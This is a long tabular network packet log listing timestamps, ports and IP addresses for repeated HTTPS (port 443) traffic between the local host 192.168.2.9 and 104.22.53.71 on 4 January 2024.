Jan 4, 2024 08:37:17.344352961 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.344387054 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.344413996 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.345146894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.345163107 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.345221043 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.345227003 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.345287085 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.345448971 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.345479012 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.345520973 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.345525026 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.345546961 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.345571041 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.345798016 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.345813990 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.345848083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.345897913 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.345902920 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.345937014 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.345972061 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.346183062 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346211910 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346271992 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.346276045 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346291065 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346307993 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346360922 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.346365929 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346378088 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346398115 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346422911 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.346431971 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346442938 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346463919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346465111 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.346510887 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.346518040 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346524000 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.346577883 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.346674919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346690893 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346738100 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.346741915 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.346786022 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.347246885 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.347263098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.347307920 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.347311974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.347362995 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.347387075 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.347414970 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.347438097 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.347444057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.347474098 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.347492933 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.347594023 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.347609043 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.347656965 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.347662926 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.347707987 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.347764015 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.347811937 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.347816944 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.347879887 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.347886086 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.347894907 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.347939014 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.347939014 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.347956896 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.348011017 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.348270893 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.348298073 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.348467112 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.348472118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.348525047 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.348553896 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.348570108 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.348623991 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.348628998 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.348670959 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.348906994 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.348922968 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.348958015 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.348963976 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.348973036 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.348983049 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.348988056 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349009991 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.349020958 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349030972 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.349059105 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.349155903 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349170923 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349215031 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.349219084 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349255085 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.349698067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349716902 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349750042 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.349754095 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349775076 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.349791050 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349793911 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.349798918 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349822998 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349827051 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.349843979 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349853039 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.349857092 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349879026 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349894047 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.349900007 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.349930048 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.349945068 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350147963 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350188971 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350217104 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350220919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350250006 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350270987 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350384951 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350406885 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350440979 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350445032 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350475073 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350478888 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350490093 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350493908 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350524902 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350531101 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350558043 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350563049 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350585938 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350589991 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350637913 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350642920 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350647926 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350672960 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350678921 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350682974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350729942 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350743055 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350774050 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350796938 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350804090 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350811958 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350840092 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350855112 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350871086 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350904942 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350908995 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350920916 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350934982 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350939035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350967884 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.350972891 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.350990057 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351011038 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351037025 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351051092 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351058960 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351083994 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351088047 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351104021 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351109982 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351126909 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351135015 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351150990 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351156950 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351213932 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351232052 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351263046 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351280928 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351280928 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351286888 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351315975 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351319075 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351326942 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351330996 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351352930 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351382971 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351397991 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351397991 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351402998 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351418018 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351465940 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351492882 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351492882 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351499081 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351507902 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351512909 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351541996 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351555109 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351556063 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351564884 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351594925 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351634026 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351655960 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351660013 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351686954 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351689100 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351736069 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351739883 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351762056 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351778030 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351824999 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351830006 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351834059 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351847887 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351849079 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351877928 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351891041 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351911068 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351924896 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351938963 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351974964 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.351979971 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.351996899 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352000952 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352031946 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352047920 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352051973 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352119923 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352134943 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352148056 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352207899 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352211952 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352237940 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352262974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352283001 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352287054 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352297068 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352318048 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352320910 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352344036 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352370977 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352375031 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352386951 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352407932 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352423906 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352451086 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352454901 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352480888 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352519989 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352534056 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352561951 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352566004 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352586031 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352606058 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352659941 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352663994 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352674007 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352696896 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352740049 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352740049 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352746010 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352761984 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352778912 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352781057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352807045 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352811098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352832079 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352838039 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352852106 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352883101 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352886915 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352905035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352916002 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.352917910 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.352986097 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353001118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353020906 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353020906 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353020906 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353020906 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353028059 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353039026 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353060961 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353074074 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353077888 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353085995 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353111029 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353111029 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353137016 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353172064 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353179932 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353185892 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353209972 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353214025 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353225946 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353225946 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353230000 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353249073 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353257895 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353257895 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353269100 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353272915 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353282928 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353312969 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353341103 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353343010 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353352070 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353382111 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353394985 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353399038 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353418112 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353432894 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353451014 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353455067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353480101 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353487968 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353502035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353528976 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353533030 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353565931 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353566885 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353584051 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353589058 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353595018 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353624105 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353641987 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353657961 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353667021 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353672028 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353684902 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353712082 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353744030 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353759050 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353801012 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353806019 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353825092 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353836060 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353842020 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353846073 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353887081 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353902102 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353905916 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353914022 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353929996 CET	49706	443	192.168.2.9	104.22.53.71
